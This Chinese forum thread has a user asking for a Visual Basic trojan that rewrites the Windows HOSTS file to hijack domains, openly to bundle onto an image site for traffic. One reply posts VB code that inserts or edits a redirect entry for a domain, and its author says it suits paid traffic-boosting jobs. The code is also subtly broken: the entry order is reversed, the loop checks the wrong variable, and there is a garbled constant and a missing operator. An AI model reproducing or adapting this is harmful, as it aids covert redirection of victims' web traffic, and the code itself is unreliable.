有没有VB编纂的修改HOSTS文件的小木马

有没有VB编写的修改HOSTS文件的小木马？
就是VB编写的HOSTS域名劫持木马。
我想弄个研究下，捆绑在图片站上，给我的站带来点流量。

主要是研究下那个代码，有写过的贴出来看看，谢谢！
------解决方案--------------------
lz要做木马，不厚道
------解决方案--------------------
hosts文件只是一个不带后缀名的文本文件而已，直接用文本文件打开就行了
------解决方案--------------------
楼主好可怜，被惨无人道的围观，还有楼上不断扔砖。。。
------解决方案--------------------
行,我给你代码吧.

纯技术讨论.

dim Buff as string,LineBuff() as string

dim I as long,IsEdit as boolean


open "hosts" for binary as #1

    buff=space(lof(1))

    get #1,,buff


    if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then  '修改已有转向的情况

         isedit=true

        linebuff()=split(buff,vbcrlf)

        for i=0 to ubound(linebuff)

            if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then

                linebuff(i)="www.m5home.com 192.168.1.1"

                exit for

            end if

        next

    else              '没有这个转向,则直接添加

         buff=buff & vbcrlf "www.m5home.com 192.168.1.1"

    end if

    if isedit then

        buff=join(linebuff,vbcrlf)

    end if

    put #1,1,buff

close #1

因为我想到了另一种用途,就是给别人写BHO或者类似的单子,刷流量用的,而不自己用,简单来说就是给别人写单子.

另外我看再不给你写,你就快要开始骂街了.......力所能及,就写写吧,就当为论坛作贡献......